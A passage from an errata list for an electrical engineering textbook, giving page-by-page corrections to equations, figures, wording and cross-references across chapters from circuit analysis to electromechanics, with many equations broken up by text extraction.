, [ /m] with Conductivity , [S/m] .\np. 67: A comma is missing in the last line.\nKnown Quantities: Source currents resistor values. should read\nKnown Quantities: Source currents, resistor values.\np. 69: The branch currents are not calculated in Example 3.3, so they should be deleted.\nFind: All node voltages and branch currents. should read Find: All node voltages.\np. 77: Figure 3.18:\nv\n1\nin the figure for analysis for mesh 2 does not enter into the analysis for mesh 2 so it should not be on that figure\n(delete + v\n1\n)\np. 81: Example 3.10/Solution, Analysis:\np. 82: Example 3.11: supplement the following solution to the bottom of Analysis, just before Comments:.\nTherefore,\nv\nx\n= i\n1\nR\n3\ni\n2\n(R\n2\n+ R\n3\n) = 2 4 2 (2 2 4) = -4\np. 82: A comma is missing in Analysis:\nTo find the current i\n1\nwe apply KVL to mesh I: should read\nTo find the current i\n1\n, we apply KVL to mesh I:\n6\np. 83: on the second line:\n(transistors are introduced in Chapter 9) should read (transistors are introduced in Chapter 10)\np. 84: Figure 3.25 should be replaced by the one shown below.\np. 84: a subscript is missing.\n\nv\n21\n11\nV; v\n3\n\n14\n11\nV\np. 104: the equation before Figure 3.63 (delete after R\n3\n)\n\n4 3 2 1\nR R R R R\n\n## + + 200 130 100 100 200\n\n4 3 2 1\nR R R R R\nT\nReplace R\nS\nwith R\nT\nsince R\nT\nis used in the derivation to eq. (3.38).\np. 111: Equation (3.41), (3.42) and Figure 3.72:\nFigure 3.72, which is a typical i-v diagram for diodes, should be modified to make it consistent with eq. (3.41) and\n(3.43). The exponential rise should be shift to 0 V.\np. 118: Its better to specify the type of source in the 2nd line of Problem 3.18\nacross the source in the circuit of Figure P3.18. should read\nacross the current source in the circuit of Figure P3.18.\n7\np. 119: Figure P3.20:\nThe resistor with the missing value should have a value of 4 .\n8\nChapter AC Network Analysis\np. 130: Sidebar MAKE THE CONNECTION/Figure 4.1:\nThe arrow of q\nf\nshould point upward instead of rightward in the two-chamber accumulator.\np. 132: Example 4.1, Problem, the last third line: A space is missing.\ndouble-layercpacitor should be double-layer capacitor.\np. 133: Example 4.1, Solution\nFind: Charge separation at nominal voltage should read, Find: Charge stored at nominal voltage .\np. 133: Example 4.1, Solution\nThe line that reads, Since we know that the discharge current is 25 A and the available charge separation is 250 F\nshould read, Since we know that the discharge current is 25 A and the available charge separation is 250 C .\nShould read, Compare the charge storage achieved in this ultracapacitor with a (similarly sized) electrolytic\ncapacitor used in power electronics applications, by calculating the charge storage for a 2,000 F electrolytic\ncapacitor rated at 400 V.\np. 135: Figure 4.6: the tick value of the y-axis should be [0, 0.1, 0.2, 0.3, 0.4, 0.5]. Replace the figure with the one\nbelow.\n0 2 4 6\n0\n0.1\n0.2\n0.3\n0.4\n0.5\nTime,\n\ns\ni\nc\n\n(\nt\n)\n,\n\nA\n9\nShould read, Compare the energy stored in this ultracapacitor with a (similarly sized) electrolytic capacitor used in\npower electronics applications, by calculating the energy stored in a 2,000 F electrolytic capacitor rated at 400 V.\np. 139: Tale 4.2/the second row and the third row: variable names missing\nVoltage or potential difference v Pressure difference p\nCurrent flow i Fluid volume flow rate q\nf\np. 140: the sentence before eq. (4.16)\nThe line reads Using Kirchhoffs voltage law and the definition of the capacitor voltage, we can write\nshould read Using Kirchhoffs voltage law and the definition of the inductor voltage, we can write\np. 143: the integration upper limit should be t, not t.\n( )\n\n'\n\nA 1\n10 10\n1\n0\n0\n3\nt\nI t d\nL\n\np. 146: Under Why Sinusoids?:\nregarding the analysis of electric power circuits. Note that the methods\nregarding the analysis of electric power circuits. The more ambitious reader may wish to explore Fourier\nAnalysis on the web to obtain a more comprehensive explanation of the importance of sinusoidal signals. Note that\nthe methods .\np. 148: Equation (4.27) should read:\n\nW TP\nAV\nT p t\n( )\np t'\n( )\n0\nT\ndt' Ri\nac\n2\nt'\n( )\n0\nT\ndt' TI\neff\n2\nR\np. 149: Equation (4.28) should read:\n\nI\neff\n\n1\nT\ni\nac\n2\nt'\n( )\n0\nT\ndt' I\nrms\n10\np. 150: in the sidebar L03:\nR\n1\nis missing.\nThe equation above Figure 4.19 reads\ndt\ndv\ni\nRC dt\ndi\ns\nc\nc\n+\n1\ndt\ndv\nR\ni\nRC dt\ndi\ns\nc\nc\n1 1\n+ .\np. 156: second paragraph under Superposition of AC Signals\nThe line reads The circuit shown in Figure 4.23 depicts a source excited by should read The circuit shown in\nFigure 4.23 depicts a load excited by\np. 159: eq. (4.60):\nt d is missing.\n( ) ( )\n\nt v\nL\nt i\nL L\n1\nshould be ( ) ( ) t d t v\nL\nt i\nL L\n\n1\n.\n||\nis negative.\nX\n||\n= 0.25 should be X\n||\n= -0.25 ...\np. 168: Problem 4.16: v\nL\nis a function of t, not f.\nThe equation\n( )\n\n'\n\n>\n< <\n<\n\ns t\ns t t\nt\nf v\nL\n\n20 nV 2 . 1\n20 0 3\n0 0\n2\nshould be\n( )\n\n'\n\n>\n< <\n<\n\ns t\ns t t\nt\nt v\nL\n\n20 nV 2 . 1\n20 0 3\n0 0\n2\n.\np. 170: Figure P4.24:\nThe label t (ms) is missing in the x axis.\np. 174: Problem 4.62/Figure P4.62 (a):\n(a) ( ) pt t i\ns\n100 /os 10 A should be (a) ( ) t t i\ns\n100 /os 10 A or (a) ( ) t t i\ns\n100 /os 10 A.\np. 175: Problem 4.67/item b.: (delete |)\n11\nThe line reads Find the range of frequencies for which Z\nab\nis capacitive, i.e., X\nab\n> 10| R\nab\nFind the range of frequencies for which Z\nab\nis capacitive, i.e., X\nab\n> 10 R\nab\n.\np. 175: Problem 4.67/Hint:\n1. Delete the redundant is.\n2. Use the Greek letter instead of w.\nThe line reads Assume that R\nC\nis is much greater than wC 1 so that should read Assume that R\nC\nis much\ngreater than C 1 so that\n12\nChapter ! \"ransient Analysis\np. 179: sidebar/Figure 5.5:\nR\n1\nis missing.\nThe equation above Figure 5.5 reads\ndt\ndv\ni\nRC dt\ndi\ns\nc\nc\n+\n1\ndt\ndv\nR\ni\nRC dt\ndi\ns\nc\nc\n1 1\n+ .\np. 182: last line on the page\nBy analogy with equation 5.8, we call\nBy analogy with equation 5.7, we call\np. 184: Section 5.3, last line of introductory paragraph\nusing the principle of continuity of inductor voltage and current\nusing the principle of continuity of capacitor voltage and inductor current.\np. 187: Solution/Analysis: the 4-th line:\n3\nbe the voltage across resistor V\n3\n; then\n3\nbe the voltage across resistor R\n3\n; then.\ni\nL\n(0\n+\n) = i\nL\n(0\n-\n) = 0.48 mA should read i\nL\n(\n+\n0\nt ) = i\nL\n(\n\n0\nt ) = 0.48 mA.\np. 191: FOCUS ON METHODOLOGY: Step 2:\n\nv\nC\nv\nC\n0\n\n( )\n\nv\nC\n0\n+\n( )\nv\nC\n0\n\n( )\np. 193: the first line:\nThus, we can create the following table for the ratio x(t)/X\n0\n= e\n-n /\n, n = 0, 1, 2,, at each value of t: should read\nThus, we can create the following table for the ratio x(t)/X\n0\n= e\n-n /\n, n = 0, 1, 2,, at each value of t = n :\n13\np. 193: the line below equation (5.28):\nThe line reads in which the forcing function F is equal to a constant for t = 0. should read in which the forcing\nfunction F is equal to a constant for 0 t .\np. 193: the line below eq. (5.29): Section 5.3, not Section 5.4:\nShould be Note that this is exactly the DC steady-state solution described in Section 5.3!.\np. 195: Example 5.7, Solution, Step 4:\nwith reference to equation 5.22\nwith reference to equation 5.24.\np. 197: Figure 5.19:\nThe vertical scale on the graph should be labeled Ratio of capacitor voltage to source voltage\n\nv\nC\nV\nB\n( ) and the\nhorizontal scale should be labeled Time constants (RC)\np. 197: Figure 5.20:\nThe direction of i\nL\nshould be counter-clockwise. The vertical scale on the graph should be labeled Ratio of\nInductor current to source current\n\ni\nL\nI\nB\n( )and the horizontal scale should be labeled Time constants, L/R)\np. 198: Example 5.8/Solution/Analysis: the second line:\nThus, 90 percent when E\ntotal\n= 0.9 should be\nThus, 90 percent when E\n90%\n= 0.9\np. 198: Example 5.8/Solution/Analysis: Replace 10\n-3\n10\n3\n\nwith 10\n3\n10\n-3\n. (R = 1k , C = 1,000 F)\nThe line reads Next we determine = RC = 10\n3\n10\n-3\n= 1 s\np. 199: Example 5.9/Solution/Find: (L should be a subscript.)\nInductor current as a function of time iL(t) for all t. should be\nInductor current as a function of time i\nL\n(t) for all t.\n14\np. 200: Caption above Figure 5.23 (b):\nComplete, natural, and forced response of RL circuit.\np. 202: two paragraphs above the beginning of Example 5.10\nwith reference to equation 5.25\nwith reference to equation 5.24\np. 204: Example 5.10, Solution, Step 2:\n(equation 5.25) should read (equation 5.22)\np. 204: Example 5.10, Solution, Step 4:\nwith reference to equation 5.22 should read with reference to equation 5.24\np. 208: the last sentence above CHECK YOUR UNDERSTANDING:\nV 24\nv for at least 5 s is satisfied. should be\nV 24\nv for at least 5 s is satisfied.\np. 210: below Equation 5.49:\nin equation 5.48 should read in equation 5.49\np. 211: five lines under Figure 5.39:\nin the differential equation 5.48 should read in the differential equation 5.49\np. 212: Under Elements of the Transient Response: the last line of the first paragraph:\nSection 5.5 should read Section 5.4.\np. 214: Example 5.13, Solution, Analysis:\nThis equation is in the form of equation 5.50, with\n\nK\nS\n1,\nn\n2\n1 LC\n15\nThis equation is in the form of equation 5.50, with\n\nn\n2\n1 LC\np. 214: Example 5.13, Solution, Analysis:\nby inspection that\n\nK\nS\n1,\nn\n1 LC\nby inspection that\n\nn\n1 LC\np. 214: Example 5.13, Solution, Analysis:\nwe have\n\ns\n1,2\n12.5t j 316.2\nwe have\n\ns\n1,2\n12.6 t j 316.0 .\nThe second line of the equation immediately below this should then be:\n\n1\ne\n12.6+ j 316.0 ( )t\n+\n2\ne\n12.6 j 316.0 ( )t\np. 215: Caption of Figure 5.43:\nNatural response of underdamped should read\nNatural response of overdamped\np. 216: Five lines below Equation 5.59\nthe exponential decay term\n\n2\n1\ne\n\nthe exponential decay\n\n2\n1\ne\n\nn\nt\n\ni\nL\n0\n+\n( )\ni + L 0\n\n( )\n\n16\n\ni\nL\n0\n+\n( )\ni\nL\n0\n\n( )\n\n## p. 218: FOCUS ON METHODOLOGY: Step 3:\n\n(equation 5.9 or 5.49)\n(equation 5.13 or 5.49)\np. 219: Step 2:\ncontinuity of inductor voltage and capacitor currents\ncontinuity of inductor current and capacitor voltage\np. 220: the equation in Step 6: Add = 0\nShould be\n( ) 0 0\n0\n2\n0\n1\n+\n+\ne e i\nL\n\n.\np. 221: Example 5.15, Solution, Find:\nthe differential equation in\n\ni\nL\nt\n( ) describing\nthe differential equation in\n\nv\nC\nt\n( )describing\np.221: Example 5.15, Solution, Schematics :\n\nR 500\n\nR R\nS\n1, 000\np. 222: Example 5.15, Solution, Step 2:\ncontinuity of inductor voltage and capacitor currents\n17\ncontinuity of inductor current and capacitor voltage\np. 223: Caption of Figure 5.51\nComplete response of overdamped second-order circuit should read\nComplete response of critically damped second-order circuit.\np. 224: Example 5.16, Solution, Step 2:\ncontinuity of inductor voltage and capacitor currents\ncontinuity of inductor current and capacitor voltage\np. 227: Figure 5.54: L\np\n, R\np\nshould be in the N\n1\n2\nside. Usually, p stands for primary. It\nshould be replaced by the one shown below.\np. 228: Analysis: the third line:\nby the primary coil inductance and capacitance. should read\nby the primary coil inductance and resistance.\np. 229: the second equation, i.e., the equation for di\nL\n(0\n+\n)/dt:\nShould be\n( )\n( ) ( ) ( ) ( ) s Ri v V\nL dt\ndi\nL C B\nL\nA 13 53 . 4 2 0 12\n10 4\n1\n0 0\n1 0\n3\n\n+ +\n+\n.\n18\np. 229: Step 6: starting from the fourth line: Substituting\n2 1\n53 . 4 , we get\nShould be as follows:\nSubstituting\n1 2\n53 . 4 , we get\n( )\n( ) s j j\ndt\ndi\nn n n n\nL\nA 13 53 . 4 1 1\n0\n1\n2\n1\n2\n\n,\n_\n\n,\n_\n\n+\n+\n\ns j j\nn n n\nA 13 1 53 . 4 1 2\n2\n1\n2\n\n,\n_\n\n,\n_\n\n14 . 0 5 . 2\n1 2\n1 53 . 4 13\n2\n2\n1\nj\nj\nj\nn\nn n\n\n,\n_\n\n14 . 0 5 . 2 53 . 4\n1 2\nj +\np. 230: before the first paragraph: some coefficients of the equations should be modified as follows:\n( ) ( )\n( )\n( )\n( ) t j t j\nL\nn n n n\ne j e j t i\n2 2\n1 1\n14 . 0 5 . 2 14 . 0 5 . 2\n+\n+ +\n0 t (after reset)\n( )\n( ) ( ) ( )\n\n,\n_\n\n+\n+ t j t j t\nL\nn n n\ne e e t i\n2 2\n1 1\n5 . 2\n\n( ) ( ) ( )\n\n,\n_\n\n+ t j t j t\nn n n\ne e e j\n2 2\n1 1\n14 . 0\n\n( ) ( ) ( )\n( )\n( ) ( ) ( )\n( )\nt j t j t t j t j t\ne e e j e e e\n433 . 4 433 . 4 200 433 . 4 433 . 4 200\n14 . 0 5 . 2\n+ +\n+\n( )\n( )\n( )\n( ) t e t e\nt t\n433 . 4 sin 27 . 0 433 . 4 /os 53 . 4\n200 200\n+\np. 230: the first line of the first paragraph, before Figure 5.56:\nA plot of the inductor current for -10 = t = 50 ms is shown in Figure 5.56. should read\nA plot of the inductor current for 40 10 - t ms is shown in Figure 5.56.\np. 230: Caption of Figure 5.56:\nFigure 5.56 Transient current response of ignition current should be\nFigure 5.56 Transient current response of ignition circuit.\n19\np. 230: the bottom part starting from\n( )\n\ndt\nt di\nL v\nL\n100\np1u6 spar7\nto the last equation, including the\nparagraph in between, should be modified as follows:\n( )\n( )\n( )\n( )\n( ) [ ] t e t e\ndt\nd\ndt\nt di\nL v\nt t L\n433 . 4 sin 27 . 0 433 . 4 /os 53 . 4 4 . 0 100\n200 200\np1u6 spar7\n\n+\n( )\n( )\n( )\n( )\n( ) ( ) ( ) t e t e\nt t\n433 . 4 sin 433 . 4 53 . 4 433 . 4 /os 200 53 . 4 4 . 0\n200 200\n+\n\n( )\n( )\n( )\n( )\n( ) ( ) ( ) t e t e\nt t\n433 . 4 /os 433 . 4 27 . 0 433 . 4 sin 200 27 . 0 4 . 0\n200 200\n+ +\nwhere we have reset time to t = 0 for simplicity. We are actually interested in the value of its first extremum, since\nthe absolute value is a maximum that the voltage will generate the spark. The first extremum occurs at about 0.3 ms.\nBy evaluating the above expression at t = 0.3 ms, we obtain\n( ) V 474 8 12 9s 3 . 0\np1u6 spar7\nt v\np. 231: Figure 5.57 should be replaced by the one shown below.\n0 0.002 0.004 0.006 0.008 0.01 0.012 0.014 0.016 0.018 0.02\n-1.5\n-1\n-0.5\n0\n0.5\n1\n1.5\nx 10\n4\nTime, s\nV\no\nl\nt\na\ng\ne\n,\n\nV\np. 233 Problem 5.28:\nFor t > 0, the circuit shown in Figure P5.22 is at steady state. should read\nFor t < 0, the circuit shown in Figure P5.22 is at steady state.\np. 236 Problem 5.47: One subscript is mistyped. It should be s.\nThe last sentence Given R\n5\n= 15 k, should read Given R\nS\n= 15 k,\np. 240 Problem 5.71: the second line:\n20\nThe switch is closed at t 0. should read The switch is closed at t = 0.\np. 241 Problem 5.77: A comma is missing.\nFor t > 0, determine for what value of t i = 2.5A should read For t > 0, determine for what value of t, i = 2.5A\n.\np. 241 Problem 5.78: A comma is missing.\nFor t > 0, determine for what value of t i = 6A should read For t > 0, determine for what value of t, i = 6A .\np. 241 Problem 5.79: A comma is missing.\nFor t > 0, determine for what value of t i = 7.5V should read For t > 0, determine for what value of t, i = 7.5V\n.\n21\nChapter # Fre\\$uency Response and %ystem\nConcepts\np. 254: The equation at the bottom of the page is missing the equal sign between\n\nH j ( )and the fraction.\np. 255:\naround the frequency of 300 rad/s, the magnitude\naround the frequency of 800 rad/s, the magnitude\np. 266 The line after equation (6.36): [Eq. (6.26) is 2nd-order, while eq. (6.35) is 1st-order.]\nThus, the expression 6.26 should read Thus, the expression 6.35\np. 266: Figure 6.21 (a) and (b):\nThe x-axis tick values should be [10\n-2\n, 10\n-1\n, 10\n0\n, 10\n1\n, 10\n2\n].\nAlso, the x-axis labels should be Normalized frequency ( /\n0\n).\np. 268: Figure 6.22 (a) and (b):\nThe x-axis tick values should be [10\n-2\n, 10\n-1\n, 10\n0\n, 10\n1\n, 10\n2\n].\nAlso, the x-axis labels should be Normalized frequency ( /\n0\n).\np. 267: An equal sign is missing in the equation:\n\n'\n\n>>\n\n<<\n\n0\n0\n0\n0\n1\nwhen\n2\nwhen\n4\nwhen 0\n) ( tan\n\nshould be\n\n'\n\n>>\n\n<<\n\n0\n0\n0\n0\n1\nwhen\n2\nwhen\n4\nwhen 0\n) ( tan\n\n.\np. 267: the end of the last fourth line:\n/\n0\n> 1 has should be /\n0\n<< 1 has.\n22\np. 274: Problem 6.39: the last line\nFigure 6.39 should read Figure P6.39.\n23\nChapter & AC 'ower\np. 280: three lines below Equation 7.1\nwith phase angle\n\nV\n6 and\nwith phase angle\n\nV\n0 and\np. 283: the line above equation (7.19): An tilde sign is missing for the rms phasor.\n:\n;\nV V should be\n:\n; ;\nV V .\np. 285: Example 7.2/Solution/Schematics, Diagrams, Circuits, and Given Data: (add unit V)\n0 110\n;\n\ns\nV V;\np. 287: the 4-th line under Power Factor:\nthe angle of the impedance. should read the phase angle of the impedance.\np. 288: the line below equation (7.25): (Its better to use parenthesis.)\nwhere R = Re Z should be where R = Re(Z).\np. 288: the line below equation (7.27): (Its better to use parenthesis.)\nwhere X = Im Z should be where X = Im(Z).\np. 290: FOCUS ON METHODOLOGY: No. 2: (Its better to use parenthesis.)\nRe S = P\nav\n, Im S = Q. should be Re( S ) = P\nav\n, Im( S ) = Q.\np. 290: FOCUS ON METHODOLOGY: No. 4:\n24\np. 290: The equation at the bottom of the page:\n\n86.6+ j 50 W\n\n86.6+ j 50 VA\np. 291: The equation at the bottom of the page:\n\n1,192 j 316 W\n\n1,192 j 316 VA\np. 293: Example 7.6, Solution, Analysis, part 1\n\n503+ j839 W\n\n503+ j839 VA\np. 297: FOCUS ON METHODOLOGY: No. 2: (Its better to use parenthesis.)\nRe S = P\nav\n, Im S = Q. should be Re( S ) = P\nav\n, Im( S ) = Q.\np. 297: The equation at the bottom of the page:\n\n68.4 + j118.6 W\n\n68.4 + j118.6 VA\nthe current drawn by the source should be the current drawn from the source\np. 300: Example 7.10/Solution/Schematics, Diagrams, Circuits, and Given Data:add the unit V\nV 0 40 V\n;\n\nS\np. 302: Example 7.11 Solution, Analysis, middle of the page\n25\nwhere we have selected the positive value of arccos (pf\n1\n) because pf\n1\nis lagging and the negative value of arccos\n(pf\n2\n)\nwhere we have selected the negative value of arccos (pf\n1\n) because pf\n1\nis lagging and the positive value of arccos\n(pf\n2\n)\np. 302: Example 7.11 Solution, Analysis, seven lines above the last equation on the page\nwhere, once again\nwhere, now\np. 303: Section 7.3, introductory paragraph, last line.\ndiscussed in Chapter 14.\ndiscussed in Chapter 13.\np. 304: seven lines below equation 7.32\nas explained in Chapter 14.\nas explained in Chapter 13.\np. 306: The equation at the end of the example that reads:\n\nI\nprimary\n\n7, 500 W\n4,800 A\n1.5625 A\n\nI\nprimary\n\n7, 500 W\n4,800 V\n1.5625 A\n1\n= 6,000\n26\np. 311: the paragraph in the middle: double prime should be used for the first R\nsource\n.\nsour/e sour/e\n2\nsour/e\nR R M R should read\nsour/e sour/e\n2\nsour/e\nR R M R\np. 313: Section 7.4, second line of second paragraph.\nas will be explained in Chapter 15\nas explained in Chapter 14\nThe second answer should be: ,\n\nS\nL\n69.12 kW + j 207.4 kVA\np. 318: Equation 7.64:\n\nI\nan ( )\ny\nshould be\n\nI\na ( )\ny\np. 319: the line above eq. (7.66): (equal, not larger than)\n3 times larger than Z\ny\n: should read 3 times Z\ny\n:.\np. 319: Example 7.17:\np. 319: Example 7.17/Problem:\nCompute the power delivered to the delta-wye load\np. 326: Conclusion 2:\n(that for which the user is charged)\nshould be changed to\n(that which does work for the user) .\nA sentence should be added after this sentence which would read, However, the user is charged for all of the power\nsupplied by the utility company, both real and reactive.\n27\np. 326: Conclusion 2:\nand it can be minimized by\nshould be replaced by\nand the reactive power can minimized by\np. 327: Problem 7.4-a: Both functions are cos 450t. Change one to be sin 450t.\nMay change to i(t) = cos 450t + 2 sin 450t A.\np. 327: Problem 7.10-a: Both functions are cos 377t. Change one to be sin 377t.\nMay change to i(t) = cos 377t + sin 377t A.\np. 334: Problem 7.53-a:\nThe plot number. should read The slot number.\n28\nChapter ( )perational Ampli*ers\np. 356: five lines above Figure 8.14\nwhich is discussed in Section 8.6.\nwhich is discussed in Section 8.5.\np. 361: third line from the top\nThe second amplifier, and inverting\nThe second amplifier, an inverting\np. 362: twelve lines below Figure 8.18\nranging from 1 to 50\nranging from 1 to 10\np. 363: Practical Op-Amp Design Considerations box, 1.\n(see Table 2.1)\n(see Table 2.2)\np. 363: Practical Op-Amp Design Considerations box, 1.\ninspection of Table 2.1 reveals\ninspection of Table 2.2 reveals\np. 363: Practical Op-Amp Design Considerations box, 2.\nas explained in Section 8.6.\n29\nas explained in Section 8.5.\np. 367: line immediately above Figure 8.22\nfilter response for frequencies is significantly higher\nfilter response for frequencies significantly higher\np. 370: The last equation on the page which begins\n\nR\n1\n+ jL R\n1\n1+ j\nL\nR\n1\n\n_\n,\n\nR\n1\n1+ j\n\n_\n,\n\nZ\nS\nR\n1\n+ jL R\n1\n1+ j\nL\nR\n1\n\n_\n,\n\nR\n1\n1+ j\n\n_\n,\n\n## p. 371: Figure 8.28:\n\nThe dashed lines in the two diagrams refer to the circuit in Figure 8.20. The solid lines in the two diagrams refer to\nthe circuit in Figure 8.27 (Example 8.7).\nfor the filter of Example 8.6 at the cutoff\nfor the filter of Example 8.7 at the cutoff\np. 372:\nthe analog computer, which is discussed in Section 8.5. Example 8.8 illustrates\nthe analog computer. Example 8.8 illustrates\n30\nChapter + %emiconductors and ,iodes\np. 408: Learning Objectives: 4: Section 9.4. should read Sections 9.4, 9.5.\np. 426: Example 9.5, Solution, Analysis, the equation\n\nR\nT\nR\n1\n+ R\n2\n+ R\n3\n|| R\n4\n\nR\nT\nR\n3\n+ R\n4\n+ R\n1\n|| R\n2\n\n## p. 433: second line below Figure 9.42\n\nshown in Figure 9.43(a) for the case\nshown in Figure 9.43(a,b) for the case\np. 433: third line below Figure 9.42\nFigure 9.43(b) depicts\nFigure 9.43(c) depicts\np. 433: fourth line below Figure 9.42\nwaveform of Figure 9.43(b) is not\nwaveform of Figure 9.43(c) is not\np. 434: Example 9.8, Problem\nsimilar to that in Figure 9.25, is used\nsimilar to that in Figure 9.29, is used\n31\nrectifier of Figure 9.40, assuming\nrectifier of Figure 9.41, assuming\np. 442: Example 9.12, Solution, Analysis, the equation:\n\n... +V\nZ\nR\nS\n|| R\nL\nr\nZ\n|| R\nL\n+ R\nS\n\n_\n,\n\n...\n\n... +V\nZ\nR\nS\n|| R\nL\nR\nS\n|| R\nL\n+ r\nZ\n\n_\n,\n\n...\np. 448: Problem 9.36:\nthat of Figure 9.25 in the text\nthat of Figure 9.29 in the text\np. 448: Problem 9.37:\nthat of Figure 9.25 in the text\nthat of Figure 9.29 in the text\n32\n\nChapter 1- .ipolar /unction \"ransistors\np. 460: third equation from the top\n\nV\nC\nV\n3\n8 V\n\nV\nC\nV\n3\n4 V\nThis changes the following equations:\n\nI\nC\n\nV\nCC\nV\nC\nR\nC\n\n128\n1, 000\n4 mA\n\nI\nC\n\nV\nCC\nV\nC\nR\nC\n\n12 4\n1, 000\n8 mA\n\nI\nC\nI\nB\n80\n\nI\nC\nI\nB\n80\n\nI\nC\nI\nB\n80\n\nI\nC\nI\nB\n160\n\"\nand\n\nV\nCE\nV\nC\nV\nE\n8 1.3 6.7 V\" should read <\n\nV\nCE\nV\nC\nV\nE\n4 1.3 2.7 V=\nto values which now match Figures 10.8 and 10.9.\np. 465: fourth line from top\nThus, the diode operating at a higher temperature\nThus, the transistor operating at a higher temperature\np. 472: Example 10.7, Solution, Analysis/Comments:\n\nV\nCEQ\n7 V I\nCQ\n22 mA I\nBQ\n150 A\n\nV\nCEQ\n6 V I\nCQ\n25 mA I\nBQ\n150 A\n\nP\nCQ\nV\nCEQ\nI\nCQ\n154 mW. to\n\nP\nCQ\nV\nCEQ\nI\nCQ\n150 mW\n33\n\nR\nC\n1 k, B 100, and V\nCC\n14 V.\n\nR\nC\n1 k, 100, and V\nCC\n14 V.\np. 479: Eighth line from top\nif both v\na\nand v\nb\nx are 0. should read if both v\na\nand v\nb\nare 0.\np. 481: Example 10.10, Solution, Analysis, 2.\nthat diode D\n1\nis still forward-biased, but diode D\n2\nis now\nthat diode D\n2\nis still forward-biased, but diode D\n1\nis now\np. 481: Example 10.10, Solution, Analysis, 4.\n\nV\nout\nV\nCC\nI\nC\nR\n3\n\nV\nout\nV\nCEsat\n0.2 V\np. 487: Figure P10.36:\nThere should be a dot at the intersection of the circuit paths joining R\n1\n, R\n2\n, C\nb\n, and the transistor to indicate that the\ntwo crossing paths are connected.\np. 487: Figure P10.37:\nThe transistor figure is incorrectly drawn (the emitter symbol should be shifted to a lower position)\n34\nChapter 11 Field E0ect \"ransistors\np. 499: Example 11.3, Solution, Analysis\n\ni\nDQ\nK v\nGS\nV\nT\n( )\n2\n48.5 2.4 1.4\n( )\n48.5 mA\n\ni\nDQ\nK v\nGS\nV\nT\n( )\n2\n48.510\n3\n2.4 1.4\n( )\n48.5 mA\np. 504: Equation 11.11\nThe second equation of 11.11 is missing a term. However, the whole second equation may be eliminated because it\nis duplicated with the missing term present in the first equation of 11.12.\np. 506: 4 lines above Figure 11.14\n\nV\nDD\nV\nB\n< v\nG\nV\nT\nso actually\nso actually\np. 512: Example 11.8, Solution, Analysis:\n\nv\nGSQ\n\nv\nGSQ\n2.5 V\np. 513: Example 11.9, Solution, Analysis\nThe analysis needs substantial revision,\nWhen an input is off (low voltage), the corresponding NMOS will be off and the corresponding PMOS will be on.\nWhen an input is high, the corresponding NMOS will be on and the corresponding PMOS will be off. Therefore,\nthe analysis for case 1 (v\n1\n= v\n2\n= 0) should be that M\n1\nand M\n2\nare off that and M\n3\nand M\n4\nare on, as is indicated in\nFigure 11.21. This will result in v\nout\n= 5 V. The analysis for case 2 (v\n1\n= 5 V and v\n2\n= 0 V) should be that v\n1\nturns\nM\n1\non and M\n3\noff. Since v\n2\nstill is 0, M\n2\nremains off and M\n4\nremains on. This will result in v\nout\n= 0 V. There is no\nfigure that corresponds to this configuration shown. The analysis for case 3 (v\n1\n= 0 V and v\n2\n= 5 V) should be that v\n1\nleaves M\n1\noff and M\n3\non as it did in case 1. Since v\n2\nis now 5 V, M\n2\nwill be on and M\n4\nwill be off. This will result\nin v\nout\n= 0 V. There is no figure that corresponds to this configuration shown. The analysis for case 4 is correct and\ncorresponds to Figure 11.22(c). Figures 11.22(a) and 11.22(b) can not be created using the inputs available to\nFigure 11.20. In the table, when v\n1\n= v\n2\n= 0 V, M\n3\nwill be Off; when v\n1\n= 0 V and v\n2\n= 5 V, M\n4\nwill be On.\nOtherwise, the table is correct.\nNote: this will have to be essentially re-written, if the above comments are correct. For now I am moving forward.\n35\nChapter 12 ,i1ital 2o1ic Circuits\np. 522: Learning Objectives: 7.\nSection 12.7\nSection 12.6\np. 535: Example 12.3, Solution, Analysis, last line on the page:\nRules 2 and 6\nRules 2, 6, and 14\np. 546: three lines below Figure 12.31\nfour-variable map of Figure 12.29 are shown in Figure 12.32.\nfour-variable map of Figure 12.31 are shown in Figure 12.32.\np. 547: The second line of the only equation on the page:\n\n+W X Y Z +W X Y Z +W X Y Z +W X Y Z\n\n+W X Y Z +W X Y Z +W X Y Z +W X Y Z\nP. 555: Example 12.19, Problem\nFind a minimum product-of-sums realization\nFind a minimum sum-of-products realization\np. 556: Example 12.20, Solution, Analysis\nBy appropriately selecting three of the four dont care entries\n36\nBy appropriately selecting four of the five dont care entries\np. 564: last line on the page:\nwhenever the enable input is high, the flip-flop is set.\nwhenever the enable input is high, the flip-flop is set to the value of S\np. 565: Figure 12.64(b):\nThis is not an error, but the diagram could be improved to provide a more effective explanation: the Preset and Clear\nare on for most of the timing diagram. Therefore, the timing of the enable is not effectively shown.\np. 565: Figure 12.64(c):\nThis is the schematic for a\n\nR S\nquad latch (latch is another name for a flip-flop), rather than the RS latch described\nin parts (a) and (b).\np. 569: Example 12.33, Solution, Find:\nOutput of RS flip-flop\nOutput of JK flip-flop\np. 574: Example 12.25, Analysis\nThe analysis section assumes (without explicitly stating) that the Preset and Clear are only effective on a clock\npulse. Although this doesnt correlate to statements earlier in the text, it is correct for many commercially available\nlatches.\nNote: we will need to review earlier statements in the text to find the claimed inconsistency.\n37\nChapter 13 'rinciples of Electromechanics\np. 597: line below equation 13.25\nIn equation 13.24, l represents the length of the coil wire;\nIn equation 13.24, l represents the length of the core;\np. 604: Figure 13.19:\nThe length of the gap should be 0.0025 m\np. 605: Example 13.3, Solution, Analysis, 3. Calculation of reluctance\nIn the calculation of R\ngap\n, the final value should be 2.55 instead of 3.98.\nIn the calculation of R\neq\n, the final value should be 2.57 instead of 4.\nIn the calculation of , the final value should be 3.92 instead of 2.51.\np. 620: Example 13.9, Solution, Analysis:\nThe force we must overcome is mg = 98 N.\nThe force we must overcome is mg = 49 N.\np. 620: Example 13.9, Solution, Analysis:\n\ni\n2\nf\ngravity\n\n0\nA\n2\n2x\n\n0\nA\n+\nl\n1\n+ l\n2\n\nr\nA\n\n_\n,\n\n2\nN\n2\n6.510\n4\nA i 255 A\n\ni\n2\nf\ngravity\n\n0\nA\n2x\n\n0\nA\n+\nl\n1\n+ l\n2\n\nr\nA\n\n_\n,\n\n2\nN\n2\n5.210\n5\nA i 721 A\np. 620: Example 13.9, Solution, Analysis:\n38\n\ni\n2\nf\ngravity\n\n0\nA\n2\nl\n1\n+ l\n2\n\nr\nA\n\n_\n,\n\n2\nN\n2\n2.105610\n3\nA\ni 0.0459 A\n\ni\n2\nf\ngravity\n\n0\nA\nl\n1\n+ 